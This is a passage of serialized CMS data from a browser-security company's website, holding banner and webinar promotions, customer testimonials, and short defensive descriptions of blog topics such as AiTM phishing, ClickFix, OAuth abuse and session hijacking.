[{"data":1,"prerenderedAt":19107},["ShallowReactive",2],{"application-flags":3,"navbar":7,"always-visible-banner":36,"navbar-about-highlight":108,"navbar-resource-highlight":182,"blog-topics":226,"trust-badges":656,"solution-nav":677,"fa-icon-solid-faUserSecret":800,"fa-icon-sharp-regular-faLaptopCode":804,"fa-icon-solid-faPlugCircleXmark":806,"fa-icon-sharp-regular-faPuzzlePiece":808,"fa-icon-solid-faFileCircleXmark":810,"fa-icon-solid-faGhost":813,"fa-icon-solid-faQrcode":816,"fa-icon-solid-faCookieBite":818,"fa-icon-sharp-regular-faFishingRod":820,"fa-icon-sharp-regular-faUserSecret":822,"fa-icon-sharp-regular-faRadar":824,"fa-icon-sharp-regular-faSatelliteDish":826,"fa-icon-sharp-regular-faShieldCheck":828,"fa-icon-sharp-regular-faBrainCircuit":830,"fa-icon-solid-faMobileScreenButton":832,"fa-icon-brands-faChrome":834,"fa-icon-solid-faDisplay":836,"fa-icon-solid-faFilter":838,"fa-icon-solid-faCloudArrowUp":840,"blog-topic-seo-poisoning":842},[4],{"name":5,"enabled":6},"maintenanceMode",false,[8],{"createdDate":9,"id":10,"name":11,"modelId":12,"published":13,"meta":14,"query":22,"data":23,"variations":28,"lastUpdated":29,"firstPublished":30,"testRatio":31,"createdBy":32,"lastUpdatedBy":33,"folders":34,"rev":35},1742208588866,"1c7a4e423bf54ac1a328bb4063459ef2","Banner","1c6207a5f24948ab82d4a0b17f251193","published",{"breakpoints":15,"hasAutosaves":19,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},768,640,320,true,"data","",[],{"link":24,"text":25,"type":26,"url":27},{},"Get our latest report analyzing browser attack techniques in 2026","web-banner","https://pushsecurity.com/resources/browser-attacks-report",{},1774258294825,1742208637545,1,"CydmZnOWU1XuAaLhEDCoYNM4Z8W2","jKjF9r5jcvXU8tzZEfFQm31Iyvr2",[],"j7ew2tin4q",{"createdBy":37,"createdDate":38,"data":39,"folders":94,"id":95,"lastUpdated":96,"lastUpdatedBy":97,"meta":98,"modelId":102,"name":103,"published":13,"query":104,"testRatio":31,"variations":105,"firstPublished":106,"stageModifiedSincePublish":6,"rev":107},"ST0tXQM8slWpFrmioqKHmENB2qe2",1774965361051,{"ctaText":40,"text":41,"url":21,"blocks":42,"state":90},"ewrererw","testrfesssssssssss",[43,70,78],{"@type":44,"@version":45,"id":46,"component":47,"responsiveStyles":60},"@builder.io/sdk:Element",2,"builder-ca12c06a52de41d7b8743da53118cd38",{"name":48,"tag":48,"options":49,"isRSC":59},"TopBannerContent",{"text":50,"ctaText":51,"url":52,"mainText":53,"cta":56},"New Webinar Series: Join John Hammond, Troy Hunt, and Matt Johansen for the State of Browser Attacks","Save Your Spot","https://pushsecurity.com/webinar/state-of-browser-security",{"content":54,"fontSize":55},"\u003Cp class=\"\">Do you know how much AI is in your workforce? Find out August 20th.\u003C/p>","text-base",{"content":57,"fontSize":55,"url":58},"\u003Cp class=\"\">Save your seat →\u003C/p>","https://pushsecurity.com/webinar/shadow-ai",null,{"large":61},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66,"marginTop":67,"marginBottom":67,"fontSize":68,"fontWeight":69},"flex","column","relative","0","border-box",".56rem","1.125rem","700",{"@type":44,"@version":45,"id":71,"component":72,"responsiveStyles":76},"builder-a2e1f4b9f30b464bb814d7f5de5b0aa7",{"name":73,"options":74,"isRSC":59},"Custom Code",{"code":75,"scriptsClientOnly":6},"\u003Cstyle>\n  .top-banner.bg-web-orange{background:rgb(114, 79, 255);}\n\u003C/style>\n",{"large":77},{"display":62,"flexDirection":63,"position":64,"flexShrink":65,"boxSizing":66},{"id":79,"@type":44,"tagName":80,"properties":81,"responsiveStyles":85},"builder-pixel-k74nkzlquog","img",{"src":82,"aria-hidden":83,"alt":21,"role":84,"width":65,"height":65},"https://cdn.builder.io/api/v1/pixel?apiKey=f3a1111ff5be48cdbb123cd9f5795a05","true","presentation",{"large":86},{"height":65,"width":65,"display":87,"opacity":65,"overflow":88,"pointerEvents":89},"block","hidden","none",{"deviceSize":91,"location":92},"large",{"path":21,"query":93},{},[],"fd266d0172cc47429be7ad10f48c99ad",1786155414606,"kYgMv6WsbvfmlOUYqR2SFwGzw6e2",{"breakpoints":99,"hasAutosaves":6,"hasErrors":6,"hasLinks":6,"kind":100,"lastPreviewUrl":101},{"medium":16,"small":17,"xsmall":18},"component","https://pushsecurity.com/?builder.space=f3a1111ff5be48cdbb123cd9f5795a05&builder.user.permissions=read%2Ccreate%2Cpublish%2CeditDesigns%2CeditLayouts%2CeditLayers%2CeditContentPriority%2CeditFolders%2CcreateProjects%2CsendPullRequests%2CfusionHostingPublish&builder.user.role.name=Designer&builder.user.role.id=creator&builder.cachebust=true&builder.preview=always-visible-banner&builder.noCache=true&builder.allowTextEdit=true&__builder_editing__=true&builder.overrides.always-visible-banner=fd266d0172cc47429be7ad10f48c99ad&builder.overrides.fd266d0172cc47429be7ad10f48c99ad=fd266d0172cc47429be7ad10f48c99ad&builder.options.locale=Default","0678d178ec8b41efb8a23c09dba7874d","always visible banner",[],{},1774968080803,"1lcyl36j3gz",[109,145],{"createdBy":32,"createdDate":110,"data":111,"folders":134,"id":135,"lastUpdated":136,"lastUpdatedBy":32,"meta":137,"modelId":139,"name":140,"published":13,"query":141,"stageModifiedSincePublish":6,"testRatio":31,"variations":142,"firstPublished":143,"rev":144},1776247359804,{"link":112,"testimonial":113,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":117},"@builder.io/core:Reference","f028f2b685bb47cd8bf9e82a26dd5a79","testimonial",{"query":118,"folders":119,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":123,"variations":127,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":130,"rev":132},[],[],1735823466309,"We found Push to be more accurate when compared to competitors and the browser agent offered features that others couldn’t match.","42035571a56940ac98bff4544aa79aa5",{"author":124,"jobTitle":125,"quote":121,"image":126},"Jason Waits","\u003Cp>CISO at Inductive Automation\u003C/p>","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2Ff04c0c0689ce4a89ac0f0708d78c0a07",{},1735910703862,1735823501152,{"kind":20,"lastPreviewUrl":21,"breakpoints":131,"hasAutosaves":19},{"small":17,"medium":16},"xal7chkxmdh","/customer-stories/inductive-automation",[],"9136a8f18b3b4a6ba29b8653a99372b1",1776247404986,{"breakpoints":138,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"20d9eaa352304613b3d1a794b400703d","testimonial-inductive-automation",[],{},1776247404973,"5mqgwlt47hs",{"createdBy":32,"createdDate":146,"data":147,"folders":174,"id":175,"lastUpdated":176,"lastUpdatedBy":32,"meta":177,"modelId":139,"name":172,"published":13,"query":179,"stageModifiedSincePublish":6,"testRatio":31,"variations":180,"firstPublished":181,"rev":144},1776255761419,{"description":148,"image":149,"link":150,"testimonial":153,"title":172,"type":173},"Learn about the latest techniques being used in the wild.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F7b4a5ebf81d64e8c9d7fc35f6c96c4a9",{"text":151,"url":152},"Download now","/resources/browser-attacks-report",{"@type":114,"id":154,"model":116,"value":155},"192acbb1f9ca4cac918c0ec435a8bae3",{"query":156,"folders":157,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":160,"variations":166,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":169,"rev":171},[],[],1728981467463,"Push does for identity what CrowdStrike did for the endpoint",{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},"https://cdn.builder.io/o/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F8b30e8ca50064058bbaef0f3c6164575%2Fcompressed?apiKey=f3a1111ff5be48cdbb123cd9f5795a05&token=8b30e8ca50064058bbaef0f3c6164575&alt=media&optimized=true","\u003Cp>Deputy CISO at Microsoft\u003C/p>\u003Cp>Former LinkedIn, Slack, Palantir\u003C/p>","Geoff Belknap","Push does for identity what CrowdStrike did for the endpoint.","https://cdn.builder.io/api/v1/image/assets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F748f0ad0a5064a00a13f4721fcc8dea1",{},1742902158597,1728981782923,{"kind":20,"lastPreviewUrl":21,"breakpoints":170,"hasAutosaves":19},{"small":17,"medium":16},"kg131t0jkvo","Report: 2026 Browser Attack Techniques","resource",[],"05a9322735fc427db12e2740e4302300",1776255810913,{"breakpoints":178,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},[],{},1776255810900,[183,205],{"createdBy":32,"createdDate":184,"data":185,"folders":195,"id":196,"lastUpdated":197,"lastUpdatedBy":32,"meta":198,"modelId":200,"name":172,"published":13,"query":201,"stageModifiedSincePublish":6,"testRatio":31,"variations":202,"firstPublished":203,"rev":204},1776256900280,{"description":148,"image":149,"link":186,"testimonial":187,"title":172,"type":173},{"text":151,"url":152},{"@type":114,"id":154,"model":116,"value":188},{"query":189,"folders":190,"createdDate":158,"id":154,"name":159,"modelId":122,"published":13,"data":191,"variations":192,"lastUpdated":167,"firstPublished":168,"testRatio":31,"createdBy":37,"lastUpdatedBy":32,"meta":193,"rev":171},[],[],{"video":161,"jobTitle":162,"author":163,"qoute":21,"quote":164,"image":165},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":194,"hasAutosaves":19},{"small":17,"medium":16},[],"1f429607996e4e5fae8fe3f9b9610e55",1776256937553,{"breakpoints":199,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"4829faa81e7c4ee8bd2d000e160e8d3c",[],{},1776256937540,"470xio0yv7r",{"createdBy":32,"createdDate":206,"data":207,"folders":217,"id":218,"lastUpdated":219,"lastUpdatedBy":32,"meta":220,"modelId":200,"name":222,"published":13,"query":223,"stageModifiedSincePublish":6,"testRatio":31,"variations":224,"firstPublished":225,"rev":204},1776256949234,{"link":208,"testimonial":209,"testimonialLink":133,"type":116},{},{"@type":114,"id":115,"model":116,"value":210},{"query":211,"folders":212,"createdDate":120,"id":115,"name":121,"modelId":122,"published":13,"data":213,"variations":214,"lastUpdated":128,"firstPublished":129,"testRatio":31,"createdBy":37,"lastUpdatedBy":37,"meta":215,"rev":132},[],[],{"author":124,"jobTitle":125,"quote":121,"image":126},{},{"kind":20,"lastPreviewUrl":21,"breakpoints":216,"hasAutosaves":19},{"small":17,"medium":16},[],"ce043785b71b4ece98eac811ecf4ba10",1776256974140,{"breakpoints":221,"hasAutosaves":6,"kind":20,"lastPreviewUrl":21},{"medium":16,"small":17,"xsmall":18},"inductive-automation",[],{},1776256974130,{"id":227,"extension":228,"items":229,"meta":653,"stem":654,"__hash__":655},"blogTopics/blogtopics.json","json",[230,239,247,256,265,274,283,292,301,310,319,328,337,346,355,363,372,381,390,399,408,417,426,435,443,452,461,470,479,488,497,506,514,523,532,540,549,558,566,575,584,593,602,611,619,628,637,645],{"sys":231,"faqItemsCollection":233,"name":235,"slug":236,"tier":31,"intro":237,"faqTitle":59,"postCount":238,"hasPage":19},{"id":232},"topic-ai",{"items":234},[],"AI","ai","AI is reshaping both sides of the security equation: employees adopt AI tools faster than security teams can track them, while attackers use AI to scale and automate campaigns. Shadow AI adoption may now outpace wider shadow SaaS, and attackers are already turning AI chatbot platforms into malware delivery channels. Push has researched the offensive potential of computer-using agents and now applies AI agents to its own threat hunting. This hub covers AI as risk, target, and defensive tool.",22,{"sys":240,"faqItemsCollection":242,"name":244,"slug":245,"tier":45,"intro":246,"faqTitle":59,"postCount":238,"hasPage":19},{"id":241},"topic-ai-attacks",{"items":243},[],"AI attacks","ai-attacks","AI attacks run in both directions: attackers using AI to scale phishing, malware delivery, and identity attacks, and AI platforms themselves becoming the attack surface. Push has researched how computer-using agents can automate identity attacks, and has seen the poisoned tenant technique it coined used against its own employees in the wild.",{"sys":248,"faqItemsCollection":250,"name":252,"slug":253,"tier":45,"intro":254,"faqTitle":59,"postCount":255,"hasPage":19},{"id":249},"topic-ai-governance",{"items":251},[],"AI governance","ai-governance","AI governance is how organizations set and enforce rules for workplace AI use — which tools are allowed, what data can enter them, and how to evidence it to regulators. With US, EU, and UK AI regulations converging on obligations most organizations can’t yet meet, Push’s research makes the case that enforcement starts in the browser, where AI tools are actually used.",9,{"sys":257,"faqItemsCollection":259,"name":261,"slug":262,"tier":45,"intro":263,"faqTitle":59,"postCount":264,"hasPage":19},{"id":258},"topic-aitm",{"items":260},[],"AiTM phishing","aitm","Adversary-in-the-middle (AiTM) phishing proxies a real login page through an attacker-controlled site, capturing credentials, MFA codes, and session tokens in real time to bypass multi-factor authentication. Push’s research into kits like Evilginx and Sneaky2FA documents how they evade URL- and signature-based detection — and why analyzing toolkit behavior in the browser catches attacks that blocklists miss.",77,{"sys":266,"faqItemsCollection":268,"name":270,"slug":271,"tier":45,"intro":272,"faqTitle":59,"postCount":273,"hasPage":6},{"id":267},"topic-bec",{"items":269},[],"BEC","bec","Business email compromise (BEC) turns a hijacked mailbox into a fraud tool: attackers use mail rules, auto-forwarding, and payment redirection to steal money while staying invisible to the account owner. Alongside a first-hand case study of a BEC attack that nearly cost an engineering firm millions, Push breaks down these mailbox persistence tricks and how to detect them.",3,{"sys":275,"faqItemsCollection":277,"name":279,"slug":280,"tier":31,"intro":281,"faqTitle":59,"postCount":282,"hasPage":19},{"id":276},"topic-browser-attacks",{"items":278},[],"Browser attacks","browser-attacks","Browser attacks target users through the web pages, sessions, and extensions they rely on every day — bypassing endpoint and network defenses that never see inside the browser. Techniques like AiTM phishing kits, ClickFix-style copy-paste attacks, OAuth consent abuse, malvertising, and browser sync abuse have become a leading path to account takeover. Push researchers analyze these attacks in the wild, from infiltrating criminal phishing panels to dissecting toolkits like ConsentFix and Sneaky2FA. Use this hub to track how the techniques evolve and how to defend against them.",118,{"sys":284,"faqItemsCollection":286,"name":288,"slug":289,"tier":45,"intro":290,"faqTitle":59,"postCount":291,"hasPage":19},{"id":285},"topic-browser-extensions",{"items":287},[],"Browser extensions","browser-extensions","Browser extensions cut both ways for security teams: malicious or compromised extensions are a growing attack vector, while an extension is also the lightest-weight way to deploy security controls into the browsers employees already use. These posts cover both sides — extension-borne risks like browser sync attacks and the limits of risk scoring, and how Push uses its extension to detect threats and block risky extensions.",30,{"sys":293,"faqItemsCollection":295,"name":297,"slug":298,"tier":31,"intro":299,"faqTitle":59,"postCount":300,"hasPage":19},{"id":294},"topic-browser-security",{"items":296},[],"Browser security","browser-security","Work now happens in the browser, making browser security — visibility and control at the point where users meet the web — a core layer of enterprise defense. Endpoint, network, and email tools miss attacks that unfold inside the browser session, from AiTM phishing to risky extensions and shadow SaaS. Push has published extensively on choosing between enterprise browsers and browser extensions, using browser telemetry, and making the business case for browser security. Start here for both strategy and hands-on guidance.",127,{"sys":302,"faqItemsCollection":304,"name":306,"slug":307,"tier":45,"intro":308,"faqTitle":59,"postCount":309,"hasPage":19},{"id":303},"topic-casb",{"items":305},[],"CASB","casb","Cloud access security brokers (CASBs) govern cloud app usage through API integrations and network proxies — an approach that works for sanctioned apps but struggles with the long tail of shadow SaaS employees adopt on their own. Because every SaaS signup happens in a browser, Push captures that adoption in real time at the point of login, and these posts cover what proxy-based discovery misses.",12,{"sys":311,"faqItemsCollection":313,"name":315,"slug":316,"tier":45,"intro":317,"faqTitle":59,"postCount":318,"hasPage":19},{"id":312},"topic-clickfix",{"items":314},[],"ClickFix","clickfix","ClickFix attacks trick users into copying and running malicious commands themselves — typically through fake CAPTCHA, error, or fix-it prompts — so malware executes without a download for security tools to scan. Push researchers track the technique’s evolution in the wild and identified the ConsentFix and InstallFix variants, which extend it to OAuth consent grants and fake install guides.",39,{"sys":320,"faqItemsCollection":322,"name":324,"slug":325,"tier":45,"intro":326,"faqTitle":59,"postCount":327,"hasPage":19},{"id":321},"topic-credential-phishing",{"items":323},[],"Credential phishing","credential-phishing","Credential phishing steals usernames and passwords through fake login pages impersonating the services employees use, handing attackers direct access to corporate accounts. Attackers don’t hack in — they log in. Push’s browser extension analyzes login pages as users actually see them, blocking cloned pages and stopping employees from entering company passwords on lookalike sites.",89,{"sys":329,"faqItemsCollection":331,"name":333,"slug":334,"tier":45,"intro":335,"faqTitle":59,"postCount":336,"hasPage":19},{"id":330},"topic-credential-stuffing",{"items":332},[],"Credential stuffing","credential-stuffing","Credential stuffing is an attack where criminals replay username-password pairs stolen from one breach against other services, exploiting password reuse to take over accounts. Major breaches have shown how far a single set of stolen credentials can travel. Push detects verified stolen credentials by comparing employee passwords against breach datasets and dark-web threat intelligence, eliminating false positives.",64,{"sys":338,"faqItemsCollection":340,"name":342,"slug":343,"tier":31,"intro":344,"faqTitle":59,"postCount":345,"hasPage":19},{"id":339},"topic-detection-and-response",{"items":341},[],"Detection & response","detection-and-response","Detection and response is being reshaped as attacks move into the browser, where EDR, SIEM, and network tools have limited visibility. Modern phishing kits evade signature-based detection, and most malicious pages have never been seen before — so technique-level, in-browser detection matters more than known-bad indicators. Push’s work here spans high-fidelity browser telemetry, session token theft detection, and agentic threat hunting, plus practical IR guidance for compromised SaaS accounts and malicious OAuth apps. These posts cover both the philosophy and the workflows.",101,{"sys":347,"faqItemsCollection":349,"name":351,"slug":352,"tier":45,"intro":353,"faqTitle":59,"postCount":354,"hasPage":19},{"id":348},"topic-detection-engineering",{"items":350},[],"Detection engineering","detection-engineering","Detection engineering turns threat research into reliable, high-fidelity detections — and as AI accelerates the churn of attacker infrastructure, indicator-based detection is collapsing in favor of technique-level approaches. Here you’ll find teardowns of AiTM kits, ClickFix pages, and malvertising campaigns, alongside Push’s own account of building an agentic threat hunting pipeline that turns hunts into shipped detections.",42,{"sys":356,"faqItemsCollection":358,"name":360,"slug":361,"tier":45,"intro":362,"faqTitle":59,"postCount":238,"hasPage":19},{"id":357},"topic-device-code-phishing",{"items":359},[],"Device code phishing","device-code-phishing","Device code phishing abuses the OAuth device authorization flow: attackers generate a legitimate sign-in code, trick the victim into entering it on the vendor’s real login page, and walk away with access tokens — no fake site or password capture required. Push research tracked a sharp spike in adoption during 2026 as attackers use the technique to sidestep standard access controls.",{"sys":364,"faqItemsCollection":366,"name":368,"slug":369,"tier":45,"intro":370,"faqTitle":59,"postCount":371,"hasPage":19},{"id":365},"topic-dlp",{"items":367},[],"DLP","dlp","Data loss prevention (DLP) is the practice of stopping sensitive data from leaving your control — a problem that has shifted from email and endpoints to the browser, where employees move data into SaaS and AI tools. Push applies controls at that point of use, from keeping corporate credentials out of personal password managers to governing what flows into unsanctioned apps.",15,{"sys":373,"faqItemsCollection":375,"name":377,"slug":378,"tier":45,"intro":379,"faqTitle":59,"postCount":380,"hasPage":19},{"id":374},"topic-edr",{"items":376},[],"EDR","edr","Endpoint detection and response (EDR) watches processes, files, and memory on the device — a vantage point that never sees the phishing pages, stolen sessions, and identity attacks playing out inside the browser. That’s not an EDR failure; attackers have simply moved where it can’t follow. These posts map that gap and show how Push pairs browser-level detection and response with endpoint security to close it.",24,{"sys":382,"faqItemsCollection":384,"name":386,"slug":387,"tier":45,"intro":388,"faqTitle":59,"postCount":389,"hasPage":19},{"id":383},"topic-enterprise-browser",{"items":385},[],"Enterprise browser","enterprise-browser","An enterprise browser is a standalone, security-hardened browser that organizations deploy in place of Chrome, Edge, or other defaults. The real buying question is whether replacing the browser beats securing the browsers employees already use — a trade-off these posts examine directly, alongside analysis of Omdia’s secure enterprise browser market report and Push’s framework for weighing full browsers against extension-based deployment.",6,{"sys":391,"faqItemsCollection":393,"name":395,"slug":396,"tier":45,"intro":397,"faqTitle":59,"postCount":398,"hasPage":19},{"id":392},"topic-ghost-logins",{"items":394},[],"Ghost logins","ghost-logins","Ghost logins are overlooked authentication routes into an account — like a password login lingering behind SSO, or a forgotten secondary auth method — that attackers exploit for account takeover and persistence. Push coined the term after research showing how these forgotten login paths let attackers sidestep the MFA and SSO controls guarding an account’s primary sign-in method.",48,{"sys":400,"faqItemsCollection":402,"name":404,"slug":405,"tier":45,"intro":406,"faqTitle":59,"postCount":407,"hasPage":19},{"id":401},"topic-identity-attacks",{"items":403},[],"Identity attacks","identity-attacks","Identity attacks target user accounts rather than infrastructure — phishing credentials, stealing sessions, abusing OAuth grants — because logging in is easier than hacking in. Identity-based techniques are now the leading cause of breaches. Push’s offensive research maps these techniques continuously, coining attacks like SAMLjacking and the poisoned tenant before they appeared in the wild.",56,{"sys":409,"faqItemsCollection":411,"name":413,"slug":414,"tier":31,"intro":415,"faqTitle":59,"postCount":416,"hasPage":19},{"id":410},"topic-identity-security",{"items":412},[],"Identity security","identity-security","Identity security is the practice of protecting workforce accounts, credentials, and sessions — the primary route attackers now use to breach organizations. Instead of hacking in, attackers log in: through phished credentials, stolen session tokens, MFA bypass, and forgotten ghost logins. Push’s research team documents these techniques continuously, from cross-IdP impersonation and SAMLjacking to analyses of major identity-driven breaches. This hub collects that research alongside practical guidance on MFA, SSO, and stopping account takeover.",154,{"sys":418,"faqItemsCollection":420,"name":422,"slug":423,"tier":45,"intro":424,"faqTitle":59,"postCount":425,"hasPage":19},{"id":419},"topic-infostealer",{"items":421},[],"Infostealer","infostealer","Infostealers are malware built to harvest saved passwords, cookies, and session tokens from infected devices, supplying the stolen credentials behind some of the most consequential breaches of recent years. Push traces the ecosystem trading this data and checks employee passwords against threat intel feeds, flagging verified stolen credentials before attackers can log in with them.",52,{"sys":427,"faqItemsCollection":429,"name":431,"slug":432,"tier":45,"intro":433,"faqTitle":59,"postCount":434,"hasPage":19},{"id":428},"topic-legitimate-service-abuse",{"items":430},[],"Legitimate service abuse","legitimate-service-abuse","Legitimate service abuse means staging attacks on trusted platforms — Google Ads, AI chatbot share pages, office.com links, Slack, SaaS tenants — so malicious content inherits the reputation of the service hosting it. Push research has documented the pattern repeatedly, from malvertising run through hijacked Google Ad Manager accounts to phishing links generated by Active Directory Federation Services.",28,{"sys":436,"faqItemsCollection":438,"name":440,"slug":441,"tier":45,"intro":442,"faqTitle":59,"postCount":291,"hasPage":19},{"id":437},"topic-malvertising",{"items":439},[],"Malvertising","malvertising","Malvertising uses paid search and display ads to put phishing pages and malware in front of users, often by impersonating trusted brands at the top of Google results. Push tracks these campaigns continuously — intercepting live attacks spoofing well-known brands — and has documented how criminals hijack Google Ads accounts to fund and run them.",{"sys":444,"faqItemsCollection":446,"name":448,"slug":449,"tier":45,"intro":450,"faqTitle":59,"postCount":451,"hasPage":19},{"id":445},"topic-malware-delivery",{"items":447},[],"Malware delivery","malware-delivery","Malware delivery has moved into the browser: rather than email attachments, attackers now rely on malvertising, fake install guides, and ClickFix-style copy-paste lures to get code running on endpoints. Push research on techniques like InstallFix maps the playbook, and in-browser detection of malicious copy and paste blocks these attacks before commands reach the endpoint.",13,{"sys":453,"faqItemsCollection":455,"name":457,"slug":458,"tier":45,"intro":459,"faqTitle":59,"postCount":460,"hasPage":19},{"id":454},"topic-mfa",{"items":456},[],"MFA","mfa","Multi-factor authentication (MFA) requires a second proof of identity beyond a password, and it remains one of the most effective controls against account takeover. Regulators from Cyber Essentials to NYDFS now mandate it across cloud services. Push enforces MFA in the browser on third-party apps — even those with no native enforcement option — and shows security teams where coverage gaps remain.",83,{"sys":462,"faqItemsCollection":464,"name":466,"slug":467,"tier":45,"intro":468,"faqTitle":59,"postCount":469,"hasPage":19},{"id":463},"topic-mfa-bypass",{"items":465},[],"MFA bypass","mfa-bypass","MFA bypass covers the techniques attackers use to defeat multi-factor authentication — AiTM phishing kits, consent phishing, device code phishing, and MFA downgrade attacks among them. None of these break the second factor; they route around it. Push researchers regularly get hands-on with phishing kits like Evilginx and Sneaky2FA, analyzing how these attacks work in the wild and how they evolve.",58,{"sys":471,"faqItemsCollection":473,"name":475,"slug":476,"tier":45,"intro":477,"faqTitle":59,"postCount":478,"hasPage":19},{"id":472},"topic-non-email-phishing",{"items":474},[],"Non-email phishing","non-email-phishing","Non-email phishing delivers malicious links through channels your secure email gateway never sees — social media messages, IM apps like Slack and Teams, search ads, and SMS. Push has intercepted live campaigns arriving via LinkedIn DMs, malvertising, and messaging platforms, which is why it detects phishing pages in the browser at the point of click, regardless of delivery channel.",51,{"sys":480,"faqItemsCollection":482,"name":484,"slug":485,"tier":45,"intro":486,"faqTitle":59,"postCount":487,"hasPage":19},{"id":481},"topic-oauth-abuse",{"items":483},[],"OAuth abuse","oauth-abuse","OAuth abuse is attackers exploiting app-to-app authorization — consent phishing, malicious OAuth apps, stolen tokens, and device code flows — to gain persistent access to cloud tenants without touching a password or MFA prompt. Push tracks these techniques continuously and discovered ConsentFix, a browser-native attack in the wild that pairs OAuth consent phishing with a ClickFix-style prompt.",70,{"sys":489,"faqItemsCollection":491,"name":493,"slug":494,"tier":45,"intro":495,"faqTitle":59,"postCount":496,"hasPage":19},{"id":490},"topic-passkeys",{"items":492},[],"Passkeys","passkeys","Passkeys are phishing-resistant credentials that replace passwords with cryptographic key pairs bound to a user’s device. They defeat conventional credential phishing, but attackers adapt: Push research has documented MFA downgrade, app-specific password phishing, and device code phishing being used in the wild to route around passkey-protected accounts. Deploying passkeys is step one; closing those fallback paths is step two.",21,{"sys":498,"faqItemsCollection":500,"name":502,"slug":503,"tier":45,"intro":504,"faqTitle":59,"postCount":505,"hasPage":19},{"id":499},"topic-password-security",{"items":501},[],"Password security","password-security","Password security is the practice of keeping workforce credentials strong, unique, and out of attackers’ hands — still a frontline defense while most SaaS logins depend on passwords. Expiration policies don’t fix weak or reused passwords; visibility does. Push observes real logins in the browser to flag weak, reused, and breached passwords and guide employees to reset them on any app.",79,{"sys":507,"faqItemsCollection":509,"name":511,"slug":512,"tier":45,"intro":513,"faqTitle":59,"postCount":318,"hasPage":19},{"id":508},"topic-phaas",{"items":510},[],"PhaaS","phaas","Phishing-as-a-service (PhaaS) platforms sell ready-made phishing kits, hosted infrastructure, and management panels on subscription, letting low-skill criminals run MFA-bypassing campaigns at scale. Kits like Evilginx, Tycoon2FA, Sneaky2FA, FlowerStorm, and EvilTokens each add their own evasion and session-theft capabilities, and new entrants appear regularly. Push researchers continuously get hands-on with these tools — investigating attacks in the wild, reverse-engineering kit behavior, and turning that research into detections.",{"sys":515,"faqItemsCollection":517,"name":519,"slug":520,"tier":31,"intro":521,"faqTitle":59,"postCount":522,"hasPage":19},{"id":516},"topic-phishing",{"items":518},[],"Phishing","phishing","Phishing remains the most common way attackers compromise business accounts — and it has moved far beyond suspicious emails. Modern campaigns use AiTM toolkits that bypass MFA, consent phishing against OAuth, device code phishing, and lures delivered through malvertising, LinkedIn, and Slack. Push detects and blocks these attacks in the browser, and its researchers publish teardowns of live campaigns and kits like Evilginx and Sneaky2FA. Read on for how phishing actually works today and what stops it.",91,{"sys":524,"faqItemsCollection":526,"name":528,"slug":529,"tier":45,"intro":530,"faqTitle":59,"postCount":531,"hasPage":19},{"id":525},"topic-public-breach",{"items":527},[],"Public breach","public-breach","Public breaches are the disclosed incidents that show how attacks actually unfold once the headlines fade. Push’s breach analyses keep finding identity at the entry point: stolen credentials, OAuth abuse, and missing MFA recur across the incidents analyzed here.",29,{"sys":533,"faqItemsCollection":535,"name":537,"slug":538,"tier":45,"intro":539,"faqTitle":59,"postCount":451,"hasPage":19},{"id":534},"topic-ransomware",{"items":536},[],"Ransomware","ransomware","Ransomware attacks increasingly begin with an identity, not an exploit: stolen credentials, MFA bypass, and help desk scams give operators their initial foothold. The analysis here follows that front end of the kill chain — how identity compromise leads to ransomware deployment, and the breaches driving regulators toward tighter MFA requirements.",{"sys":541,"faqItemsCollection":543,"name":545,"slug":546,"tier":31,"intro":547,"faqTitle":59,"postCount":548,"hasPage":19},{"id":542},"topic-saas-security",{"items":544},[],"SaaS security","saas-security","SaaS security means protecting the sprawl of cloud apps, accounts, and integrations your employees adopt — often without IT ever knowing. Shadow SaaS, risky OAuth grants, ghost logins, and unmanaged third-party access create attack paths traditional controls can’t see, as recent high-profile breaches have demonstrated. Building on the original SaaS attack matrix, Push continues to map SaaS-native attack techniques alongside practical guides for discovering and securing unsanctioned apps, and this hub gathers all of it.",96,{"sys":550,"faqItemsCollection":552,"name":554,"slug":555,"tier":45,"intro":556,"faqTitle":59,"postCount":557,"hasPage":6},{"id":551},"topic-security-training",{"items":553},[],"Security training","security-training","Security training aims to teach employees to recognize and avoid attacks — yet modern phishing routinely fools even seasoned security professionals. Push argues that training budgets work harder as real-time, in-browser intervention: guardrails and warnings at the moment of risk, rather than lessons employees must recall under pressure.",4,{"sys":559,"faqItemsCollection":561,"name":563,"slug":564,"tier":45,"intro":565,"faqTitle":59,"postCount":389,"hasPage":19},{"id":560},"topic-seo-poisoning",{"items":562},[],"SEO poisoning","seo-poisoning","SEO poisoning manipulates search engine results so malicious pages rank prominently for the software, tools, or services users are actively searching for, turning a routine search into an infection vector. It often pairs with malvertising and ClickFix-style payloads — Push has documented attackers abusing shared pages on legitimate AI chatbot domains to deliver malware from trusted infrastructure.",{"sys":567,"faqItemsCollection":569,"name":571,"slug":572,"tier":45,"intro":573,"faqTitle":59,"postCount":574,"hasPage":19},{"id":568},"topic-session-hijacking",{"items":570},[],"Session hijacking","session-hijacking","Session hijacking is the theft of an authenticated session — usually via stolen session cookies or tokens — letting attackers walk past passwords and MFA into a live account. AiTM phishing kits and infostealers have made it a mainstream attack technique across both criminal and targeted intrusions. Push’s browser agent detects session token theft by adding telemetry to the user agent string, creating a high-fidelity signal for security 